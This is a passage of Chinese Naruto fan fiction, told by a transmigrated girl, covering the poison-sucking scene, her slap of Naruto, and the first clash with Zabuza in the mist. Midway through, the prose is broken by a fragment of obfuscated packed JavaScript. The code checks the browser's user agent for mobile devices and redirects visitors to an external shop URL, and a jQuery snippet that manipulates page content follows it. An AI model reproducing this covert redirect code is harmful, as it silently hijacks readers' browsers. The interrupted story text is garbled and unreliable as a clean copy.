一口,又一口……我重复着这个原始而危险的动作。每一次低头,每一次吮吸,每一次吐出那带着腥甜和毒素的污血,都让我的神经绷紧到极限。口腔里充斥着令人作呕的味道,嘴唇被粗糙的皮肤边缘磨得生疼,甚至能感觉到一丝微弱的灼烧感(是毒?还是……他体内那股庞大力量的微弱排斥?)。 我的大脑开始因为缺氧和毒素的微量侵蚀而有些眩晕,视野边缘微微发黑,但我手上的动作没有丝毫停顿。一种近乎偏执的念头支撑着我:吸干净!一定要吸干净!不能让他有事!绝对不能! 卡卡西老师那句“快割开伤口把毒血吸出来”的指令甚至都没来得及完整出口,就被我这近乎疯狂的举动堵了回去。他站在那里,露出的右眼死死盯着我,那慵懒的面具似乎裂开了一道缝隙,眼神锐利得如同刀锋,里面翻涌着极其复杂的情绪——是震惊于我的果断(或者说鲁莽)?是担忧我的安危?还是……透过我这不顾一切保护同伴的姿态,看到了某个深埋在他记忆深处、同样奋不顾身的身影?那眼神深处,似乎有一抹极其深沉的痛楚一闪而逝。 终于,在不知道吸了多少口之后,吐出的血液颜色终于变得鲜红。我立刻松开嘴,顾不上擦拭唇边沾染的血迹(那画面想必十分狼狈甚至骇人),手忙脚乱地从忍具包里掏出消毒药水和绷带。 我的手指因为紧张和刚才的用力而微微颤抖,但我强迫自己冷静下来,用最快的速度、尽可能仔细地为他清洗伤口,然后一圈一圈缠上洁白的绷带。动作虽然生涩,却带着一种不容置疑的专注和……温柔?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575531|187090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 鸣人彻底呆住了。他就那样坐在地上,任由我摆布他受伤的手,忘记了疼痛,忘记了之前的失落,只是呆呆地、近乎茫然地仰头看着我。金色的发丝被汗水黏在额角,湛蓝的眼睛睁得大大的,里面倒映着我沾满血污和汗水、神情异常专注的脸庞。 那眼神复杂极了,有未散的惊恐,有浓浓的不解,有被保护的茫然,还有一丝……连他自己都未曾察觉的、被深深撼动的触动。时间仿佛在这一刻凝固了,周围的世界都模糊了,只剩下我为他包扎的双手和他那双映着我倒影的蓝眼睛。 当最后一圈绷带打上结,看着那被包得有些臃肿、但血总算止住的手,我紧绷的神经才猛地松弛下来。理智如同退潮的海水,汹涌地回归大脑。 我猛地意识到自己做了什么——我强行介入了!本应是鸣人自我觉醒、立下誓言的关键点! 我不仅为他吸毒血,还挡在了他前面!巨大的恐慌瞬间攫住了我。剧情……会不会因此改变?鸣人的成长……会不会被我打断? 懊悔、恐慌、以及对未知后果的强烈恐惧交织在一起,形成一股巨大的冲击力,冲垮了我强装的镇定。我的身体开始不受控制地微微颤抖,连带着声音都带上了一丝不易察觉的哽咽。 “……” 我张了张嘴,想说点什么,却发现喉咙干涩得发不出声音。最终,在一种近乎自毁的冲动驱使下,我猛地抬起那只没有沾血的手——啪! 一记不算太重,却异常清脆的耳光,结结实实地落在了鸣人那还带着一丝茫然的脸颊上! 鸣人被打得脸一偏,彻底懵了。他捂着脸颊,难以置信地看着我,湛蓝的眼睛里瞬间涌上了巨大的委屈和愤怒。 “说……说着不想被当做小鬼……” 我的声音颤抖得厉害,几乎不成调子,眼泪不受控制地在眼眶里打转,但我死死咬住下唇不让它们掉下来 “但……但还要我们来保护你……鸣人……你……你就是个自大的小鬼!一个……一个连自己都保护不了的胆小鬼!” 最后几个字,几乎是吼出来的,带着连我自己都未曾预料的心痛和……失望?是对他刚才的“一动不动”失望,还是……对我自己这失控的保护欲和可能造成的后果感到失望? 其实我很害怕,害怕这一下之后鸣人会讨厌我,害怕这一下之后他不再理我,害怕我这一下打破了我们的羁绊,打破那个夜晚,鸣人问我为什么认可他…… 我不知道我自己有没有哭,但我感觉我的身体在颤抖(已经分不清是害怕改变了剧情,还是只是因为,无法和鸣人他们继续前行) “胆小鬼。” 佐助冰冷的声音如同淬毒的冰锥,精准无比地刺入鸣人此刻最脆弱的地方。这声评价,比我的巴掌更具杀伤力。鸣人的身体剧烈地颤抖了一下,脸色由红转白,眼中的委屈被巨大的屈辱和痛苦取代。 我不敢再看鸣人的表情。巨大的愧疚感和恐慌几乎要将我淹没。我猛地转过身,几乎是逃也似的走向卡卡西老师,用衣袖狠狠擦掉唇边早已干涸的血迹,试图用动作掩饰内心的惊涛骇浪。 我能感觉到卡卡西老师的目光如同实质般钉在我的背上,那目光充满了审视、疑惑,还有……一种深沉的、仿佛要穿透我灵魂的探究。 “卡卡西老师,” 我强迫自己的声音听起来冷静一些,尽管尾音仍在微微发颤 “为什么……会有忍者敌人出现?这……不是C级任务吗?” 我将问题抛向他,既是转移话题,也是真的需要答案。 两个敌人被卡卡西五花大绑地捆在树上,脸上写满了不甘与困惑。他们无法理解,卡卡西老师是如何看穿这一切的。卡卡西也给出了解释。这时,达兹纳忍不住发问 “既然您早已看穿,为什么还要让孩子们出手?” “我得先确认,他们的目标是谁。” 卡卡西缓缓转过身,目光锐利地钉在达兹纳身上,那惯有的慵懒彻底褪去,取而代之的是一种不容置疑的冰冷 “也就是说,必须弄清楚,是您被盯上了……还是我们这几个忍者被盯上了。况且,” 他的声音压得更低,带着一丝危险的意味 “您事先并未告知我们,已被忍者盯上。” 那双总是半睁的死鱼眼里,骤然迸发出凛冽的寒意,如同在楼梯口时一样。我不由自主地感到一阵心悸,下意识地向后退了半步。 “此次任务的等级,应该是B级。” 卡卡西的声音斩钉截铁 “现在,任务已经超出了我们原本的范畴。” 小樱的目光在我和鸣人之间焦急地游移,刚才我为鸣人吸出毒素的画面显然让她忧心忡忡 “刚才……旁听生给鸣人吸出了毒素,不排除毒素还有传染的可能!” 她急促地开口 “我们需要尽快返回村子!” “我没事。” 我试图安抚她,从随身的包里掏出几颗解毒药丸, “我带了备用的。” 说着,我毫不犹豫地吞下一颗。 “毒素不明就乱吃解药,可能会适得其反……” 小樱依旧担忧 “还是回村里让医疗忍者处理更稳妥……” “我拒绝!” 我的声音陡然拔高,带着不容转圜的坚决。猛地抬头,迎上卡卡西审视的目光。两道视线在空中激烈碰撞,无声地角力。他眼底翻涌着复杂难辨的情绪——探究、疑惑,或许还有更深沉的东西——我看不懂。 “我们好不容易走到这里,” 我的声音因激动而微微发颤 “既然选择了接下这个任务,就要负责到底!卡卡西老师,你说过的,抛弃同伴的人……最为可耻!” 话音落下的瞬间,卡卡西的瞳孔骤然收缩,仿佛被无形的利箭刺中。他的目光穿透了我,投向某个遥远而模糊的虚影,整个人都凝固了。 “卡卡西老师……她说得对……” 鸣人虚弱却坚定的声音打破了凝滞的空气。他猛地攥紧了我刚刚为他包扎好的手臂,全然不顾伤口可能因此撕裂,脸颊上还残留着我情急之下留下的指痕。 “为什么……差距还是这么大……” 他咬着牙,声音里充满了不甘 “我在家里拼命练习……独自钻研忍术……甚至……还指导过别人……” 他的目光转向我,那里面燃烧着炽热的火焰 “我再也不要任何人来救我了!我会冷静下来,再也不会逃跑了!” 他抬起受伤的左臂,目光扫过渗血的绷带和我留下的红痕,誓言掷地有声 “我以此起誓!我同意任务继续!” “喂喂,旁听生同学刚给你包扎好的伤口啊!” 卡卡西的声音忽然又恢复了那惯常的懒散腔调,他蹲下身,凑近鸣人,嘴角弯起一个近似调侃的弧度 “失血过多可是会死的。还是得回村子接受正规治疗才行啊。” 那语气,仿佛在嘲笑鸣人刚才热血的宣言是多么孩子气 “简直是浪费旁听生刚才的辛苦。” 鸣人顿时慌了神,对着我连声道歉,甚至央求我重新包扎。我无奈地解开绷带,却发现那狰狞的伤口边缘竟已开始呈现出细微的愈合迹象——九尾的力量,终究不会让它的宿主轻易死去。小樱也凑过来,对着鸣人就是一通数落 “你这家伙,是有什么受虐倾向吗?” 卡卡西老师看着我的包扎动作,又瞥了眼鸣人那已经开始以肉眼可见速度愈合的伤口(九尾的力量在悄然作用),眼神若有所思。他突然淡淡地评价了一句 “包扎手法……挺烂的。” 语气平淡,但那双露出的眼睛却如同最精密的扫描仪,没有放过我任何一个细微的表情变化和动作习惯。 “哈?” 我愣了一下,下意识地反驳,带着一种连自己都未察觉的、近乎本能的熟稔口吻 “我第一次实战包扎!能包住止血就行了嘛,要求那么高干嘛?” 『能包住就行了,别要求那么多嘛……卡卡西老师~哈哈哈哈,而且……』 那句遥远记忆中的、带着撒娇和狡黠语气的话语碎片,毫无预兆地在我脑海中闪过,甚至让我脱口而出的反驳都带上了一丝极其微妙的、相似的语调。 就是这一瞬间! 卡卡西老师那一直保持着慵懒姿态的身体,几不可察地僵硬了一瞬!仿佛被一道无形的电流击中!他仅露出的右眼瞳孔骤然收缩成针尖大小,那慵懒的面具瞬间破碎,露出了底下深藏的、如同地震般的剧烈震动! 那眼神里充满了难以置信的惊愕,一种穿越了漫长时光的恍惚,以及……一丝被强行唤醒的、锥心刺骨的痛楚!那目光死死地钉在我脸上,仿佛第一次真正“看见”我,试图穿透我此刻的皮囊,寻找某个早已逝去的影子。 但这剧烈的失态仅仅持续了不到半秒。快得让人几乎以为是错觉。下一秒,那深邃的震惊和痛楚如同潮水般迅速退去,被更深沉、更难以捉摸的迷雾所覆盖。 他极其自然地移开了视线,仿佛刚才的失态从未发生,只是懒洋洋地站起身,目光投向波之国方向那未知的迷雾深处,用他一贯的、听不出情绪的声线说道 “嘛,算了。既然都决定了……那就继续前进吧。不过……” 他回头瞥了一眼达兹纳和依旧坐在地上、眼神复杂地看着我和鸣人 “接下来的路,可不会太平了。都打起十二分精神来。” 他伸出手掏出了那本《亲热天堂》,挡住了大半张脸,仿佛刚才那石破天惊的一瞥从未发生。只有那握着书脊、指节微微泛白的手,泄露了一丝他内心远非表面那般平静的波澜。 12. 『那份执着的守护』 越来越浓的雾警告着我,下一站,就是再不斩了…… 冰冷、粘稠、仿佛带着死亡气息的浓雾,无声无息地包裹着我们乘坐的小船。船桨划破水面的“哗啦”声,在这片死寂的白茫中被无限放大,像丧钟一样,一下下敲击在我的心头,预告着终点——波之国,以及那位盘踞在那里的恶鬼。 我们一行六人——卡卡西老师、鸣人、佐助、小樱、委托人达兹纳先生,还有我——挤在狭小的船舱里,空气凝重得几乎能拧出水来。每一个人,包括一向散漫的卡卡西老师,眉宇间都笼罩着一层化不开的紧张。我低下头,死死盯着自己微微颤抖的手掌。 指关节因为用力而发白。为什么?为什么身体总比我的理智快一步?那种刻入骨髓般的“肌肉记忆”,在每一次危机来临前,就擅自接管了我的行动。不要干涉剧情……这念头像咒语一样在脑中盘旋,可我连停下这具身体都做不到。 保护鸣人……这执念如同无形的锁链,将我牢牢绑在这条注定血腥的轨道上。我究竟是谁?一个知晓未来的看客?还是一个被迫入局的棋子?为什么……要执着地保护那个吊车尾? “快到桥了!” 船夫沙哑的声音撕裂了压抑的沉默,带着一种劫后余生的庆幸 “沿着这条路,就能到波之国了。” 我猛地抬起头。透过厚重得如同棉絮般的雾气,一个庞大、狰狞、未完成的钢铁轮廓,如同蛰伏的远古巨兽,缓缓显露出它的冰山一角。 那是达兹纳先生用生命浇筑的梦想——波之国大桥。所有人都被它的宏伟所震慑,屏住了呼吸。它沉默地矗立在迷雾尽头,像一位饱经沧桑、伤痕累累却依旧不屈的威严老者,无声地诉说着抗争与希望。 “好…好大!” 鸣人第一个跳起来,金发在雾中格外显眼,碧蓝的眼里充满了孩子气的震撼与向往。船夫立刻狠狠瞪了他一眼,低声呵斥 “闭嘴!臭小子!想害死大家吗?这条水路,能活着过来已经是神佛保佑了!” “达兹纳先生……” 卡卡西老师慵懒却带着不容置疑穿透力的声音响起,他斜靠在船舷,唯一露出的那只眼睛,此刻锐利如鹰隼,牢牢锁定着我们的委托人。 “在船靠岸之前,我有些问题,希望你能坦诚相告。” 达兹纳的身体明显僵硬了一下。他佝偻着背,布满皱纹的脸上交织着紧张、羞愧和一种豁出去的决绝。他深吸一口气,仿佛要将肺里的恐惧都挤压出去,浑浊的眼睛扫过我们这群孩子,最终落在卡卡西身上。 “唉……” 一声沉重的叹息,像是耗尽了所有力气。 “其实……我的命,早就被一个可怕的人盯上了。” “谁?” 卡卡西的声音沉了下去。 “卡多。” 达兹纳吐出这个名字,仿佛用尽了全身的力气。 我看到卡卡西老师那只露出的右眼瞳孔骤然收缩,一丝真正的震惊掠过其中。卡多?那个海运界的巨鳄?我努力回忆着原著和穿越前世界的认知。卡多……垄断……资本……对,就是“动了资本的蛋糕”!达兹纳要建桥,打破卡多对波之国命脉——制海权的绝对掌控,这等于是在掘卡多的根基! 达兹纳接下来的解释印证了我的猜想。波之国,一个贫瘠、弱小的岛国。卡多利用其海运霸主的地位,将触角伸向了政治和国民生活的方方面面,甚至暗地里进行着肮脏的交易。 “而卡多唯一害怕的……就是这座桥的完工!” 达兹纳指着雾气中那座宏伟的钢铁骨架,眼中燃烧着悲愤的火焰。 “只要这座桥建成,波之国就不再是孤岛!其他国家,其他忍村的商队可以直接通过陆路与我们交易,卡多赖以生存的‘中间差价’和海运垄断将彻底崩溃!这是波之国唯一的生路!” 他顿了顿,声音里充满了苦涩和无奈 “波之国太穷了……穷到我倾家荡产,也只能勉强凑够一个C级任务的报酬……我,我欺骗了你们,隐瞒了被卡多这种级别敌人追杀的事实……” 他的声音低了下去,充满了愧疚。但下一刻,他的语气忽然一转,带着一种近乎无赖的悲情 “不过……现在说这些也晚了。就算你们在保护我上桥之后取消任务离开,也没关系……只是可怜我那才八岁的可爱孙子,以后只能终日以泪洗面……我的女儿,大概也会怀着对木叶忍者的怨恨,痛苦地度过余生吧……” 我嘴角忍不住抽搐了一下。这……这简直就是赤裸裸的道德绑架加情感勒索!卡卡西老师无奈地扶了扶额,那只露出的眼睛里写满了“果然如此”和“真麻烦啊”的情绪。他叹了口气,声音恢复了惯常的慵懒,却带着不容置疑的坚定 “嘛……真没办法。我们会继续保护你,直到任务完成,达兹纳先生。” 达兹纳眼中瞬间闪过一丝计谋得逞的狡黠光芒,在其他人看不到的角度,他悄悄比了一个胜利的“V”字手势。 我侧过身,用手臂撑在冰凉的船舷上,小船正缓缓穿过一个黑漆漆的桥洞。看着外面越来越近、被浓雾笼罩的陆地轮廓,一股冰冷刺骨的恐慌感再次攫住了我的心脏。这恐慌不仅仅来源于即将面对的上忍再不斩,更来源于一种更深层次的排斥感——仿佛这个世界本身在抗拒我这个外来者。 还有……那股无法抑制的、想要保护鸣人的冲动,究竟源自何处?明明做个旁观者,安稳地活下去,才是我这个穿越者最理智的选择啊! 小船终于靠岸。踏上湿滑冰冷的土地,那股不祥的预感愈发强烈。 再一次踏入危机四伏的林间小路。四周死寂一片,只有我们踩在落叶上的“沙沙”声,以及自己擂鼓般的心跳。鸣人一反常态地沉默,他走在佐助旁边,位置不上不下,眼神晦暗不明,时不时瞥向佐助,带着一丝不甘和屈辱。显然,之前佐助那句“胆小鬼”和替他挡下的攻击,深深刺痛了这个渴望证明自己的金发少年。 像是急于证明自己,又或者是在给自己打气,又像是在宣泄不满。鸣人烦躁地抓了抓头发,眼神四处乱瞟,试图找出任何可能的危险来证明自己的价值。 突然,他猛地停下脚步! “有动静!” 鸣人大喝一声,手臂一挥,一枚手里剑带着尖锐的破空声射向旁边的灌木丛! “戒备!” 卡卡西老师的声音瞬间绷紧,佐助和小樱几乎同时摆出了防御姿态,苦无在手。达兹纳更是吓得脸色发白,缩到了小樱身后。 只有我,站在原地没动,目光紧紧锁定着鸣人。我知道他要干什么。 “吱吱!” 灌木丛里传来几声老鼠的尖叫。 “哈哈!看吧!我就说有东西!只是几只老鼠而已!” 鸣人得意地叉腰大笑,脸上写满了“我立大功”的炫耀。 “鸣人——!” 小樱的怒吼几乎要冲破浓雾,她冲过去,毫不客气地一拳砸在鸣人头上 “你这个白痴!吓死人了!要是真引来敌人怎么办?!” “痛痛痛!小樱你干嘛打我!” 鸣人抱着头哀嚎。 “鸣人”卡卡西老师有些无奈,也难得地语气严肃起来,“别这样,敌人引来就不好了” 达兹纳气得脸都红了,指着鸣人“你你你……”了半天,说不出话。 然而鸣人完全没把大家的警告听进去,他甩甩头,似乎觉得刚才的“老鼠事件”不够彰显他的勇猛。他再次掏出几枚手里剑,一边东张西望一边自言自语 “哼,肯定还有!看我的!” 说着,手臂又是一扬! “咚!” 一枚手里剑钉在了不远处的树干上。 “鸣人!你给我适可而止!” 小樱彻底暴走,冲过去对着鸣人又是一顿“爱的铁拳”教育。 就在这闹哄哄的当口,我的目光顺着鸣人的手里剑望过去,那是一抹不自然的白色,那是一只……纯白色的兔子?我下意识地低下头,仔细看去。卡卡西老师不知何时也走到了我的身后,他的目光同样落在那只兔子身上,脚步微微一顿,那只露出的眼睛眯了起来,警惕性瞬间提升。 再不斩要出现了! 这个念头如同闪电般划过我的脑海。我猛地抬起头,视线穿透浓密的枝叶,精准地投向斜上方一根粗壮的树杈——那里,一个高大、背着巨大斩首大刀的身影,如同融入阴影的恶鬼,静静地蛰伏着!桃地再不斩! 我的心脏像是被一只冰冷的手狠狠攥住,瞬间停止了跳动。手指不受控制地摸向腿上的手里剑套,却抖得厉害,几乎握不住冰冷的金属。上忍……这就是上忍的压迫感吗?仅仅是被他的视线扫过,一股冰寒刺骨的杀意就如同实质的潮水般汹涌而来,几乎让我窒息。动漫里根本无法体会这种直面死亡的恐惧! “沙沙……”微不可闻的树叶摩擦声传来,带着一种致命的韵律。 一定要冷静!这可不是演习!是会死人的! “大家——趴下——!!!” 卡卡西老师惊雷般的吼声,带着前所未有的焦急和紧迫,撕裂了林间的死寂! 几乎是一种求生的本能,我的身体比大脑反应更快,猛地向前扑倒!其他人也瞬间做出反应!就在我们身体贴地的刹那—— “呜——嗡——!!!” 一道巨大的、裹挟着毁灭性风压的银色寒芒,如同死神的镰刀,带着令人牙酸的破空声,几乎是贴着我们的头皮呼啸而过!斩首大刀!那巨大的刀锋狠狠斩入我们前方的一棵大树,发出沉闷恐怖的“咔嚓”声,木屑纷飞!如果刚才慢上半秒……我们所有人都将被拦腰斩断! 冷汗瞬间浸透了我的后背。我用颤抖的手臂强撑起身体,挣扎着爬起来,掏出苦无。冰冷的触感让我稍微找回了一丝理智。空气中弥漫开来的杀意,浓烈得如同化不开的血腥味,远比任何影视作品描绘的都要恐怖百倍!这就是真实的忍者世界!这就是上忍的威慑! “可恶!那是什么东西?!” 鸣人灰头土脸地爬起来,看着那把嵌入巨木的恐怖大刀,脸上第一次露出了真正的惊骇。他显然还不明白现在的地情况意味着什么。 “别去,鸣人!” 我几乎是嘶吼出声,在他想要冲上去查看的瞬间,用尽全力死死抓住了他的手腕。我的手指因为过度用力而捏得指节泛白,仿佛要将他的骨头捏碎。 “别拦我啊!” 鸣人挣扎着,愤怒地瞪着我。 “鸣人!听她的话!别过来!” 卡卡西老师的声音冰冷而严厉,他挡在我们身前,背对着我们,目光死死锁定着前方雾气中缓缓走出的高大身影 “这家伙……跟上次那些杂鱼完全不是一个级别的!” 再不斩高大的身影从浓雾中显现,如同魔神降临。他单手轻松地拔出了嵌入树干的斩首大刀,随意地扛在肩上。冰冷的目光扫过我们,最后饶有兴致地停留在我身上,带着一丝玩味。 “哦?写轮眼卡卡西……” 再不斩沙哑的声音响起,像是砂纸摩擦 卡卡西老师用手触摸着自己的护额,那是……写轮眼。此刻寂静的只有落叶声和蝉鸣声,空气中弥漫着硝烟的味道,大战一触即发。 “你们几个,摆成卐阵型,保护达兹纳先生。” “收到!”不听卡卡西老师的话说完,我就拉着鸣人摆好阵型,佐助小樱见状也冲过来围住达兹纳先生,我死死的盯着再不斩,猛然发现他的眼神也看向了我,像是惊讶我镇静过头了,完全不像是十三四岁孩子该有的样子。 “这个小姑娘倒是有点意思。警惕性不错,居然比拥有写轮眼的你还要早发现我的位置。是个好苗子,可惜了。” 我没有回应,只是死死咬着下唇,强迫自己握紧手中的苦无。心脏在胸腔里疯狂撞击。如果不是知道剧情,我可能连站都站不稳,比鸣人还要不堪! 浓雾,以肉眼可见的速度变得更加浓重,仿佛有生命般翻滚着,将我们层层包裹。再不斩的声音从四面八方传来,带着冰冷的杀意:“闲聊到此为止。我的任务,是取下那个老头的人头。” 卡卡西老师缓缓抬起手,指尖搭在了护额边缘。他深吸一口气,猛地将护额向上一推! 猩红!妖异!带着诡异勾玉图案的眼睛——写轮眼,赫然显现! 佐助浑身一震,死死盯着那只眼睛,拳头紧握,脸上充满了震惊、疑惑——那是他宇智波一族少数人才能拥有的瞳术。 “唰——!” 斩首大刀出鞘的厉啸划破浓雾。再不斩的身影在眨眼间消失!下一瞬,他已稳稳站立在不远处的水洼之上,周身卷起微小的风暴漩涡。一片枯叶,打着旋儿,缓缓飘落在他刚才站立的位置。无声无息,快得让人绝望! 我强迫自己打起十二万分的精神,不敢有丝毫松懈。再不斩刚才的“夸奖”像毒药一样让我窒息。卡卡西老师挡在我们前方,写轮眼急速转动,努力捕捉着浓雾中再不斩鬼魅般的踪迹。我用眼角的余光飞快地扫了一眼同伴的位置,心猛地沉到了谷底——糟了! 原著里,再不斩第一次突袭的目标是达兹纳前方!但现在,因为我把鸣人拉到了我身边,我正站在那个“前方”的位置! 再不斩……是冲着我这个位置来的! 手心瞬间被冷汗浸湿。我艰难地咽了口唾沫,感觉手中的苦无滑腻得快要脱手。雾气越来越浓,视野急剧缩小,卡卡西老师的身影已经模糊不清,甚至连身边的鸣人也只剩下一个朦胧的影子。致命的压迫感如同实质般挤压着我的胸腔。 “八个地方……” 再不斩低沉、戏谑的声音如同鬼魅般在浓雾中回荡,带着一种猫捉老鼠的残忍 “喉头、脊椎、肺、肝脏、颈动脉、锁骨下动脉、肾脏、心脏……” 我的呼吸骤然停止,全身的血液仿佛瞬间冻结。 “那么……要选哪处的要害才好呢……” 话音落下的瞬间,一股冰冷刺骨、凝练如实质的恐怖杀意,如同爆炸般轰然降临!笼罩了整片区域!浓雾仿佛被这股杀意生生冲散了大半! “当啷!” 我手中的苦无再也握不住,脱手掉在地上,发出清脆的响声。 杀气!纯粹的、只为收割生命而存在的杀气!排山倒海般压来!我的大脑一片空白,身体僵硬得无法动弹,连思考都变得无比艰难。忍者包里,那叠塔罗牌突然变得滚烫无比,疯狂地抖动着,仿佛要挣脱束缚跳出来!豆大的汗珠顺着我的脸颊滑落。 “放心吧……” 卡卡西老师沉稳的声音,带着一种奇异的安抚力量,穿透了令人窒息的杀意 “我会拼死保护你们的。我绝不会让我的同伴被杀掉!”他的声音斩钉截铁,带着不容置疑的决心。 『吊车尾们还活着呢?』 那个低沉、模糊、带着嘲讽的幻听,又一次毫无征兆地在我脑海中响起。 我还来不及捕捉这奇怪声音的来源,甚至来不及做出任何反应—— 背后! 冰冷的触感瞬间贴上我的后颈!再不斩如同真正的鬼魅,毫无征兆地出现在了我的身后!太快了!快得超出了我神经反应的极限!死亡的阴影瞬间将我完全吞噬!身体像是被冻僵了,连一根手指都动弹不得! 完了! 就在这千钧一发的生死关头,一只温热、带着薄茧的手猛地抓住了我的手腕! “危险!” 是鸣人! 一股巨大的力量传来,我被鸣人狠狠地向旁边拽去!两人失去平衡,狼狈地摔倒在地,滚作一团。巨大的斩首大刀带着凄厉的破风声,几乎是擦着我的腰部划过!布料撕裂的轻响传来,腰侧传来一阵火辣辣的刺痛。万幸!只是被刀风擦伤! “你在傻呆着干什么!会死的啊!笨蛋!” 鸣人惊魂未定地冲我吼道,碧蓝的眼睛里充满了后怕和不解。 『你冲过来发什么呆!会死的!』 那个幻听般的男声似乎也在愤怒地咆哮。 我没有理会鸣人的吼叫,甚至顾不上腰间的疼痛,目光急切地转向卡卡西老师和再不斩的方向。只见被卡卡西苦无刺向的“再不斩”,化作了一滩清水——水分身! “卡卡西老师!在后面!” 我嘶声喊道,几乎是同时,鸣人也看到了,发出了更响亮的警告! “太慢了!” 真正的再不斩带着狞笑,如同瞬移般出现在卡卡西身后,巨大的斩首大刀带着开山裂石之势,拦腰横斩! “噗!” 刀锋毫无阻碍地切过卡卡西的身体!然而,被斩中的“卡卡西”同样化作了一滩清水——同样是水分身!卡卡西老师完美复制了再不斩的战术! 接下来的战斗,彻底超出了我这个下忍的理解范畴。 浓雾之中,两个上忍的身影如同两道纠缠的闪电,高速移动、碰撞、分离!苦无与大刀撞击的火花一闪即逝,金属交鸣的脆响如同死亡的鼓点。结印的手势快得只剩残影,水分身不断出现又破灭,替身术、瞬身术被运用得出神入化。局势在电光火石间反复逆转!前一秒卡卡西老师似乎被逼入绝境,下一秒他又诡异地出现在再不斩的死角! 最终,在一次精妙的诱敌和高速欺近后,卡卡西老师的身影如同鬼魅般出现在再不斩身侧,冰冷的苦无稳稳地抵在了再不斩的颈动脉上。 “结束了。” 卡卡西老师的声音带着战斗后的微喘,但语气冰冷而肯定。 “呵……” 再不斩发出一声低沉沙哑的冷笑,充满了嘲讽 “这种猴戏一样的把戏,就想打倒本大爷?真是天真得可笑!” “不过……” 他的话音陡然一转,带着一丝戏谑 “我也不是那么容易对付的!” “噗!” 被苦无抵住的“再不斩”瞬间化作清水消散! 水分身! 真正的再不斩如同瞬移般出现在卡卡西老师身后!卡卡西老师的瞳孔猛地收缩,写轮眼急速转动,写满了震惊!显然他也没料到对方的分身术造诣如此之高! “死吧!” 再不斩狞笑着,巨大的斩首大刀带着撕裂空气的尖啸,当头劈下! 卡卡西老师凭借惊人的反应速度和写轮眼的洞察力,在刀锋及体的瞬间极限侧身!刀刃擦着他的护额和银发掠过,带起几缕断发!然而再不斩的战斗经验丰富无比,他利用大刀劈空后的惯性,手腕猛地一压,刀柄狠狠砸在地上,以此为支点,身体如同弹簧般旋起,穿着厚重忍鞋的脚,带着雷霆万钧之力,狠狠踹在卡卡西的胸膛! “呃!” 卡卡西闷哼一声,身体如同断线的风筝般被踹飞出去! 再不斩毫不停歇,拔起大刀,如同狩猎的猛虎,朝着卡卡西倒飞的方向疾冲!在距离一个小水潭还有数米的地方,他停顿了一下,猛然跃起,以一个完美的抛物线,精准地扎入了水中! “哗啦!” 水花四溅。 几乎在卡卡西老师挣扎着从水中冒头的瞬间,早已结印完毕的再不斩,嘴角勾起一抹残忍的弧度 “水遁·水牢之术!” 哗——! 流动的、粘稠的水体瞬间从潭中涌出,形成一个巨大而坚固的球形水牢,将卡卡西老师牢牢困在其中!水流高速旋转,形成强大的束缚力。卡卡西老师在里面奋力挣扎,试图结印或挣脱,但强大的水压和查克拉束缚让他的一切努力都徒劳无功,只能徒劳地击打着流动的水壁,眼中充满了焦急和愤怒。 “老师——!” 小樱的尖叫带着绝望的哭腔,划破了林间的死寂。我的心跳如同失控的鼓槌,疯狂撞击着肋骨,冰冷的恐惧像毒蛇般缠绕住我的脊椎,几乎让我无法呼吸。 忍者包里的塔罗牌,之前只是发烫,此刻却像是烧红的烙铁,剧烈地跳动、震颤着,隔着布料都能感受到那股灼热和急迫!在这种绝境下,别说战斗,我连维持站立的姿势都感觉无比艰难。 接下来……只能靠我们这群下忍了! “别慌!吊车尾!” 佐助的低吼在我耳边炸响,强行压下他声音里同样存在的颤抖,努力维持着表面的镇定。他的目光如同钉子般死死钉在水牢中挣扎的卡卡西身上,然后又转向浓雾中再不斩本体那若隐若现的身影,以及……他身边刚刚凝聚成型的一个水分身! “你们这些不知天高地厚的小鬼……” 再不斩的水分身发出沙哑的嘲讽,扛着水凝聚的大刀,一步步向我们逼近,沉重的脚步声如同踩在心脏上 “根本没资格被称为忍者……” 话音未落,水分身的身影瞬间消失在浓雾中。 “小心!” 我失声惊呼。 然而还是太慢了!下一瞬,我只看到鸣人像是被无形的巨锤击中,整个人惨叫着倒飞出去!“哐当”一声,他额头的木叶护额被震飞,滚落在泥泞的地面上。再不斩的水分身如同鬼魅般出现在鸣人倒下的地方,一只脚狠狠踩在了那枚象征着忍者身份的护额上,用力碾入泥土! “鸣人!” 看着鸣人痛苦蜷缩的身影,我脑中那根名为“理智”的弦瞬间绷紧到了极限!一股无法抑制的暴怒和保护的冲动,如同岩浆般从心底喷涌而出,几乎要冲破我的天灵盖!身体不受控制地就要冲过去! “别过去!” 一双冰凉、颤抖却异常坚定的手猛地从旁边死死抓住了我的胳膊!是小樱!她自己的脸色惨白如纸,身体抖得像风中的落叶,牙齿都在打颤,但那双碧绿的眼睛里却燃烧着一种近乎悲壮的勇气,死死地盯着我,用力摇头。 “不能去!会死的!” 我猛地转过头,对上小樱惊恐却坚定的目光。心脏像是被重锤狠狠砸了一下。是啊……冲过去,除了送死,还能做什么?我强迫自己深吸一口气,试图压下那股几乎要烧毁理智的冲动。可是……每一次,每一次看到鸣人受伤、受辱,那种源自灵魂深处的、想要挡在他身前的冲动,就会像汹涌的潮水般将我淹没,完全不受控制!这该死的“肌肉记忆”! “你们几个!听着!” 水牢中,卡卡西老师的声音带着前所未有的焦急和严厉,通过水壁传来,显得有些沉闷失真 “带着达兹纳先生快逃!和他交手没有胜算!水分身离开本体一段距离后,查克拉供应会变得不稳定!趁现在,快跑!” 跑?卡卡西老师,你是在说笑吗?面对一个能用水分身就轻易击飞鸣人、困住你的上忍,我们几个下忍带着一个毫无战斗力的老头,能跑到哪里去?这浓雾就是他的领域!逃跑,只会让我们死得更快、更分散!唯一的生路,只有原著里那条——解救卡卡西老师! “听着,小樱……” 我艰难地开口,声音干涩沙哑得厉害。我反手紧紧握住小樱冰冷颤抖的手,试图传递给她一丝力量和决心。天知道,我自己也怕得要死,双腿软得像是面条。 “待会儿……不管发生什么事,你的首要任务,就是保护好达兹纳先生!还有……” 